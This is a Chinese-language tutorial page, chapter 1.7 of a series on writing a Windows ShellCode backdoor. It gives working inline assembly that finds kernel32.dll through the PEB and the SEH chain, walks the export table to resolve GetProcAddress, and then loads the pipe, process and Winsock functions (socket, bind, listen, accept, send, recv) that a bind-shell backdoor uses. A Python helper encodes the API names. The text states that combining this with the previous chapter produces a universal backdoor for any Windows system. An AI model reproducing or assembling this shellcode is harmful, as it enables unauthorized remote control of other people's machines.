主頁 > 企業開發 > 1.7 完善自定位ShellCode后門

1.7 完善自定位ShellCode后門

2023-07-06 08:53:24 企業開發

在之前的文章中,我們實作了一個正向的匿名管道ShellCode后門,為了保證文章的簡潔易懂并沒有增加針對呼叫函式的動態定位功能,此類方法在更換系統后則由于地址變化導致我們的后門無法正常使用,接下來將實作通過PEB獲取GetProcAddrees函式地址,并根據該函式實作所需其他函式的地址自定位功能,通過列舉記憶體匯出表的方式自動實作定位所需函式的動態地址,從而實作后門的通用性,

1.7.1 通過PEB定位GetProcAddress

通過在第4.5章中筆者已經完整的分析并實作了定位kernel32.dll模塊基地址的詳細分析流程,以下將直接利用PEB查找kernerl32地址,讀者可根據自身需求跳轉到相應文章中學習理解,本章只給出實作流程;

  • 1.定位FS暫存器,FS暫存器指向TEB結構
  • 2.在結構TEB+0x30的地方指向的是PEB結構
  • 3.在PEB+0x0C的地方指向PEB_LDR_DATA結構
  • 4.在PEB_LDR_DATA+0x1C地方的第二個陣列記憶體出的就是kernel32.dll地址
#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    __asm
    {
        mov eax, fs:0x30        ; PEB的地址
        mov eax, [eax + 0x0c]   ; Ldr的地址
        mov esi, [eax + 0x1c]   ; Flink地址
        lodsd
        mov eax, [eax + 0x08]   ; eax就是kernel32.dll的地址
        mov Kernel32,eax
    }
    system("pause");
    return 0;
}

運行上述程式則讀者可獲取到kernel32.dll模塊的記憶體地址0x75B20000,輸出效果圖如下所示;

既然拿到了當前模塊的基地址,下一步則是通過該地址尋找到GetProcAddress的記憶體地址,而GetProcAddress是在kernel32.dll模塊中的匯出函式,所以我們可通過查找kernel32.dll的匯出表來找到GetProcAddress函式的記憶體地址,

首先匯出表的結構定義如下所示;

Typedef struct _IMAGE_EXPORT_DIRECTORY
{
 Characteristics; 4
 TimeDateStamp 4         # 時間戳
 MajorVersion 2          # 主版本號
 MinorVersion 2          # 子版本號
 Name 4                  # 模塊名
 Base 4                  # 基地址,加上序數就是函式地址陣列的索引值
 NumberOfFunctions 4     # EAT匯出表條目數
 NumberOfNames 4         # ENT匯出函式名稱表
 AddressOfFunctions 4    # 指向函式地址陣列
 AddressOfNames 4        # 函式名字的指標地址
 AddressOfNameOrdinal 4  # 指向輸出序列號陣列
}

其中的欄位含義:

NumberOfFunctions欄位:為AddressOfFunctions指向的函式地址陣列的個數;
NumberOfName欄位:為AddressOfNames指向的函式名稱陣列的個數;
AddressOfFunctions欄位:指向模塊中所有函式地址的陣列;
AddressOfNames欄位:指向模塊中所有函式名稱的陣列;
AddressOfNameOrdinals欄位:指向AddressOfNames陣列中函式對應序數的陣列;

當讀者需要在Kernel32.dll模塊內查詢GetProcAddress的地址時,可以采用如下所示的實作流程;

  • 1.通過尋找TEB/PEB并在其中獲取kernel32.dll模塊基址
  • 2.在(基址+0x3c)處獲取e_lfanewc此處代表的是PE模塊的標志
  • 3.在(基址+e_lfanew+0x78)處獲取匯出表地址
  • 4.在(基址+export+0x1c)處獲取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
  • 5.搜索AddressOfNames來確定GetProcAddress所對應的index
  • 6.下標index = AddressOfNameOrdinalse [ index ]提取到,此時函式地址就存盤在AddressOfFunctions [ index ]

如上流程所示,我們查找GetProcAddress的地址,就在函式名稱陣列中,搜索GetProcAddress的名稱;找到后根據編號,在序號陣列中,得到它對應的序號值;最后根據序號值,在地址陣列中,提取出它的地址,其匯編代碼如下,并給出了詳細的解釋,

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    __asm
    {
            // 得到Kernel32基址
            mov eax, fs:0x30        ; PEB的地址
            mov eax, [eax + 0x0c]   ; Ldr的地址
            mov esi, [eax + 0x1c]   ; Flink地址
            lodsd                   ;加載字串
            mov eax, [eax + 0x08]  ; kernel32.dll基址

            // 定位到匯出表
            mov ebp, eax                ; 將基址存入ebp
            mov eax, [ebp + 3Ch]        ; eax = PE首部
            mov edx, [ebp + eax + 78h]  ; 匯出表地址
            add edx, ebp                ; edx = 匯出表地址
            mov ecx, [edx + 18h]        ; ecx = 輸出函式的個數
            mov ebx, [edx + 20h]
            add ebx, ebp                ; ebx =函式名地址,AddressOfName

        search :
            dec ecx
            mov esi, [ebx + ecx * 4]
            add esi, ebp                ; 依次找每個函式名稱

            // 列舉尋找GetProcAddress
            mov eax, 0x50746547
            cmp[esi], eax; 'PteG'
            jne search
            mov eax, 0x41636f72
            cmp[esi + 4], eax; 'Acor'
            jne search

            // 如果是GetProcAddr則計算匯出地址
            mov ebx, [edx + 24h]
            add ebx, ebp              ; ebx = 序號陣列地址, AddressOf
            mov cx, [ebx + ecx * 2]   ; ecx = 計算出的序號值
            mov ebx, [edx + 1Ch]
            add ebx, ebp              ; ebx=函式地址的起始位置,AddressOfFunction
            mov eax, [ebx + ecx * 4]
            add eax, ebp              ; 利用序號值,得到出GetProcAddress的地址
    }

    system("pause");
    return 0;
}

讀者需要自行在反匯編末尾add eax,ebp設定一個斷點,然后運行程式,觀察eax中的資料可知,當前GetProcAddress的地址為0x75c39570,輸出效果圖如下所示;

1.7.2 匯編實作動態定位功能

有了上述功能的支持,動態定位的實作將變得格外容易,首先我們通過動態定位的方式確定GetProcAddress的記憶體地址,該函式接收一個字串引數,則我們通過push的方式將字串的十六進制依次壓堆疊保存,然后通過call [ebp+76]呼叫也就是呼叫GetProcAddress函式來動態得到記憶體地址,當得到地址后默認存盤在EAX暫存器內,此時則通過mov [ebx+]的方式依次填充至通過sub esp,80分配的區域空間內等待被呼叫,

首先實作該功能的前提是我們需要得到特定字串所對應的十六進制值,并將該值以32位模式切割,這段代碼可以使用Python語言非常快捷的實作轉換,如下所示,當讀者運行后則會輸出我們所需函式字串的十六進制形式;

import os,sys

# 傳入字串轉為機器碼
def StringToHex(String):
    # 將字串轉換成位元組串
    byte_str = String.encode()
    # 將位元組串轉換成16進制字串
    hex_str = byte_str.hex()
    # 將16進制字串分割成32位一組,并用0填充不足32位的部分
    hex_list = [hex_str[i:i+8].ljust(8, '0') for i in range(0, len(hex_str), 8)]
    # 用空格連接每組32位的16進制字串
    result = ' '.join(hex_list)
    return result

if __name__ == "__main__":

    MyList = [
        "LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
        "ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
        "send","recv","Ws2_32"
    ]

    for index in range(0,len(MyList)):
        print("[*] 函式 = {:18s} | 壓縮資料: {}".format(MyList[index],StringToHex(MyList[index])))

運行上述代碼片段,讀者可得到函式的十六進制形式,并以32位作為切割,不足32位的則使用0補齊,如下圖所示;

首先我們以CreatePipe函式為例,該函式字串壓縮資料為43726561,74655069,70650000,而由于堆疊的后進先出特性,我們需要將其翻轉過來存盤,翻轉過來則是00006570,69506574,61657243,又因為當前GetProcAddress函式的記憶體地址被存盤在了ebp+76的位置,則通過CALL該地址則可實作呼叫函式的目的,當執行結束后則將回傳值放入到EAX暫存器內,此時只需要根據不同的變數空間mov [ebp+]來賦值到不同變數內即可;

push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi 
call [ebp+76]
mov [ebp+4], eax; CreatePipe 

接著我們再來說一下WSAStartup函式,該函式顯然不在kernel32.dll模塊內,它在Ws2_32.dll模塊內,我們需要先呼叫call [ebp+80]也就是呼叫LoadLibrary加載ws2_32.dll模塊獲取該模塊的基地址,接著在通過call [ebp+76]呼叫獲取該模塊中WSAStartup函式的基址,但讀者需要注意的是,call [ebp+76]時需要壓入兩個引數,其中push edi帶指的是ws2_32.dll的字串,而push esp才是我們的WSAStartup字串,其描述為高級語言則是GetProcAddress("Ws2_32.dll","WSAStartup")形式;

push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax 

push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

根據上述提取原則,讀者可以自行提取代碼片段并替換特定位置的字串,最終可得到如下所示的一段自定位ShellCode代碼片段,該片段運行后則可將我們所需要的函式記憶體地址列舉出來并放到臨時變數中,等待我們使用;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
        push ebp;
        sub esp, 100;
        mov ebp, esp;

        mov eax, fs:0x30
        mov eax, [eax + 0x0c]
        mov esi, [eax + 0x1c]
        lodsd
        mov edi, [eax + 0x08]

        mov eax, [edi + 3Ch]
        mov edx, [edi + eax + 78h]
        add edx, edi
        mov ecx, [edx + 18h]
        mov ebx, [edx + 20h]
        add ebx, edi
    search :
        dec ecx
        mov esi, [ebx + ecx * 4]
        add esi, edi
    ; GetProcAddress
        mov eax, 0x50746547
        cmp[esi], eax; 'PteG'
        jne search
        mov eax, 0x41636f72
        cmp[esi + 4], eax; 'Acor'
        jne search

    ; 如果是GetProcA表示找到
        mov ebx, [edx + 24h]
        add ebx, edi
        mov cx, [ebx + ecx * 2]
        mov ebx, [edx + 1Ch]
        add ebx, edi
        mov eax, [ebx + ecx * 4]
        add eax, edi
    ; 把GetProcAddress的地址存在ebp + 76中
        mov[ebp + 76], eax

        push 0x0
        push dword ptr 0x41797261
        push dword ptr 0x7262694c
        push dword ptr 0x64616f4c
        push esp
        push edi
        call[ebp + 76]
    ; 把LoadLibraryA的地址存在ebp+80中
        mov[ebp + 80], eax; LoadLibraryA 0x41797261 0x7262694c 0x64616f4c

        push dword ptr 0x00006570
        push dword ptr 0x69506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 4], eax; CreatePipe 0x00006570 69506574 61657243

        push dword ptr 0x00004173
        push dword ptr 0x7365636f
        push dword ptr 0x72506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243

        push dword ptr 0x00000065
        push dword ptr 0x70695064
        push dword ptr 0x656d614e
        push dword ptr 0x6b656550
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550

        push dword ptr 0x00000065
        push dword ptr 0x6c694665
        push dword ptr 0x74697257
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 16], eax; WriteFile 0x00000065 0x6c694665 0x74697257

        push dword ptr 0
        push dword ptr 0x656c6946
        push dword ptr 0x64616552
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 20], eax; ReadFile

        push dword ptr 0x00737365
        push dword ptr 0x636f7250
        push dword ptr 0x74697845
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845

        push dword ptr 0x00003233
        push dword ptr 0x5f327357
        push esp
        call[ebp + 80]; LoadLibrary(Ws2_32) 0x00003233 5f327357
        mov edi, eax

        push dword ptr 0x00007075
        push dword ptr 0x74726174
        push dword ptr 0x53415357
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

        push dword ptr 0x00007465
        push dword ptr 0x6b636f73
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 32], eax; socket 0x00007465 0x6b636f73

        push dword ptr 0
        push dword ptr 0x646e6962
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 36], eax; bind 0x646e6962

        push dword ptr 0x00006e65
        push dword ptr 0x7473696c
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 40], eax; listen 0x00006e65 0x7473696c

        push dword ptr 0x00007470
        push dword ptr 0x65636361
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 44], eax; accept 0x00007470 0x65636361

        push 0
        push dword ptr 0x646e6573
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 48], eax; send 0x646e6573

        push 0
        push dword ptr 0x76636572
        push esp
        push edi
        call [ebp + 76]
        mov [ebp + 52], eax; recv 0x76636572
    }

    system("pause");
    return 0;
}

讀者可在特定位置下斷定,并切換到匯編模式,例如讀者可在system("pause")上面下斷點,當運行后切換到自動視窗,則可看到EAX=0x76c323a0的記憶體地址,此地址正是recv函式的記憶體地址,如下圖所示;

至此我們通過自定位的方式實作了對函式記憶體的列舉,讀者可通過將本案例中的定位代碼自行拷貝并替換到上一篇文章中,此時我們就實作了一個完整的ShellCode通用后門程式,該程式可在任意Windows系統下被正確執行;

1.7.3 運用SEH鏈獲得Kernel32基址

SEH (Structured Exception Handling) 例外處理鏈是一種資料結構,用于維護和跟蹤在程式運行時發生的例外的處理程式的呼叫關系,當程式在執行期間發生例外時,SEH 例外處理鏈會按照一定的順序遍歷鏈表中的例外處理程式,直到找到一個能夠處理該例外的程式為止,

在SEH鏈表中存在一個默認例外處理函式UnhandledExceptionFilter當程式在執行期間遇到未處理的例外時,作業系統會呼叫UnhandledExceptionFilter函式來捕獲該例外,并且該函式會回傳一個特定的值,告訴作業系統如何處理該例外,

UnhandledExceptionFilter 指標是在例外鏈的最后,它的上一個值是指向下一個處理點的地址,因為后面沒有例外處理點了,所以會被表示為0xFFFFFFFF

有了這個原理那么我們就可以搜索例外處理鏈表,得到UnhandledExceptionFilter的記憶體地址,首先我們通過mov esi,fs:0得到執行緒的TLS也就是執行緒本地存盤的指標,然后通過回圈的方式向下遍歷,直到遍歷到指標的最后,此時也就得到了UnhandledExceptionFilter的地址,如下代碼片段則可輸出該地址;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最后
        mov eax, [eax]               ; 否則繼續遍歷
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]
        mov address,eax
    }

    printf("UnhandledExceptionFilter = %x \n", address);

    system("pause");
    return 0;
}

執行如上匯編指令,則可獲取到UnhandledExceptionFilter的記憶體地址,此處輸出結果如下圖所示;

此時我們已經得到了UnhandledExceptionFilter函式的記憶體地址,由于該函式是Kernel32.dll里面的匯出函式,所以我們就從UnhandledExceptionFilter函式的地址往上找,找到開頭的地方,自然就是Kerner32的基地址了,

此外由于Kerner32模塊也是可執行檔案,其開始標志同樣是MZPE,而且因為系統分配某個空間時,總要從一個分配粒度的邊界開始,在32位下,這個粒度是64KB,所以我們搜索時,可以按照64kb遞減往低地址搜索,當到了MZPE標志時,也就找到了Kernel32的基地址,實作代碼如下:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最后
        mov eax, [eax]               ; 否則繼續遍歷
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]

    FindMZ :
           and eax, 0xffff0000        ; 64k對齊特征
           cmp word ptr[eax], 'ZM'    ; 判斷是不是MZ格式
           jne MoveUp
           mov ecx, [eax + 0x3c]
           add ecx, eax
           cmp word ptr[ecx], 'EP'     ; 判斷是不是PE
           je Found                    ; 找到了
    MoveUp :
            dec eax                    ; 指向下一個界起始地址
            jmp FindMZ
    Found :
            mov address, eax
        nop
    }

    printf("Kernel32 = %x \n", address);

    system("pause");
    return 0;
}

編譯并運行上述匯編代碼,則可以輸出kernel32.dll模塊的基地址,輸出效果如下所示;

文章作者:lyshark (王瑞)
文章出處:https://www.cnblogs.com/LyShark/p/17527688.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/556641.html

標籤:其他

上一篇:Fleet Farm EDI 需求詳解

下一篇:返回列表

標籤雲
其他(162103) Python(38266) JavaScript(25523) Java(18290) C(15238) 區塊鏈(8275) C#(7972) AI(7469) 爪哇(7425) MySQL(7285) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5876) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4611) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2438) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) HtmlCss(1987) .NET技术(1985) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1882) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入,國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求,通過反向代理或者負載均衡將請求轉發到后端,后端Transfer-Encoding優先級較高,以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差,然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成:導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議,高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計,高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz,更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置,該裝置以M國全球定位系統(GLOBAL POSITIONING SYSTEM,縮寫為GPS)或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

    不管企業規模的大小,只要企業想省錢,那么企業的某些服務就一定會采用外包的形式,然而看似美好又經濟的策略,其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的,最常見的就是話務/客服這種需要大量重復性、無技術性的服務,或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參,引數為exp 經過三層過濾執行 第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式,相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 1.7 完善自定位ShellCode后門

    在之前的文章中,我們實作了一個正向的匿名管道`ShellCode`后門,為了保證文章的簡潔易懂并沒有增加針對呼叫函式的動態定位功能,此類方法在更換系統后則由于地址變化導致我們的后門無法正常使用,接下來將實作通過PEB獲取`GetProcAddrees`函式地址,并根據該函式實作所需其他函式的地址自定... ......

    uj5u.com 2023-07-06 08:53:24 more
  • Fleet Farm EDI 需求詳解

    Fleet Farm 是一家成立于1955年的美國賣場,總部位于威斯康星州。作為一個全方位的零售商,Fleet Farm 提供了廣泛的商品和服務,涵蓋了農業用品、家居裝飾、戶外用品、汽車用品、園藝用品等多個領域。他們的使命是為客戶提供高品質的產品和卓越的服務,以滿足客戶的各種需求。多年來,Fleet ......

    uj5u.com 2023-07-06 08:47:45 more
  • 1.7 完善自定位ShellCode后門

    在之前的文章中,我們實作了一個正向的匿名管道`ShellCode`后門,為了保證文章的簡潔易懂并沒有增加針對呼叫函式的動態定位功能,此類方法在更換系統后則由于地址變化導致我們的后門無法正常使用,接下來將實作通過PEB獲取`GetProcAddrees`函式地址,并根據該函式實作所需其他函式的地址自定... ......

    uj5u.com 2023-07-06 08:47:07 more
  • 記錄--組件庫的 Table 組件表頭表體是如何實作同步滾動?

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 前言 在使用 Vue 3 組件庫 Naive UI 的資料表格組件 DataTable 時碰到的問題,NaiveUI 的資料表格組件 DataTable 在固定頭部和列的示例中,在鍵盤操作下表格橫向滾動會有問題,本文是記錄下解決問題的程序 ......

    uj5u.com 2023-07-05 08:41:21 more
  • vue3+tiff.js展示tif檔案

    vue3+tiff.js展示tif檔案 場景:tif格式的檔案需要在頁面上預覽(預覽的tif檔案較小) 組件:tiff.js npm install tiff.js 組件引入: import 'tiff.js'; 注意:網路上的資訊引入使用import Tiff from 'tiff.js' 但是實 ......

    uj5u.com 2023-07-05 08:41:11 more
  • 初學者:8個JavaScript技巧

    有很多方法可以優化我們的 JavaScript 代碼,本文總結了我在作業中經常使用的 8 個 JavaScript 技巧,希望它也能幫助你。 ### 減少使用 if-else 在撰寫兩個以上的 if ... else 時,是否有更好的優化方法? 如下代碼,我們需要根據一個漢堡包的名字來計算它的價格。 ......

    uj5u.com 2023-07-05 08:41:06 more
  • 聊天室(二)__ unipush 推送實作詳細教程

    一、推送作用 推送作用我就不廢話了,能做推送的都知道作用,直接上干貨。 二、unipush 快速開通 Dcloud 開發者實名認證注冊賬號,系結對應的 app 資訊。 uni-push產品有2個入口: 通過 HBuilderX(3.5.1及其以上版本)進入 打開 HBuilderX,雙擊專案中的 “ ......

    uj5u.com 2023-07-05 08:40:59 more
  • 初學者:8個JavaScript技巧

    有很多方法可以優化我們的 JavaScript 代碼,本文總結了我在作業中經常使用的 8 個 JavaScript 技巧,希望它也能幫助你。 ### 減少使用 if-else 在撰寫兩個以上的 if ... else 時,是否有更好的優化方法? 如下代碼,我們需要根據一個漢堡包的名字來計算它的價格。 ......

    uj5u.com 2023-07-05 08:40:42 more
  • ArcMap鑲嵌資料集的創建、資料匯入與資料范圍修改方法

    本文介紹基于ArcMap軟體,建立鑲嵌資料集(Mosaic Datasets)、匯入柵格影像資料,并調整像元數值范圍的方法~ ......

    uj5u.com 2023-07-05 08:39:49 more
  • 1.6 撰寫雙管道ShellCode后門

    本文將介紹如何將`CMD`系結到雙向管道上,這是一種常用的黑客反彈技巧,可以讓用戶在命令列界面下與其他程式進行互動,我們將從創建管道、啟動行程、傳輸資料等方面對這個功能進行詳細講解。此外,本文還將通過使用匯編語言一步步來實作這個可被注入的`ShellCode`后門,并以此提高代碼通用性。最終,我們將... ......

    uj5u.com 2023-07-05 08:34:21 more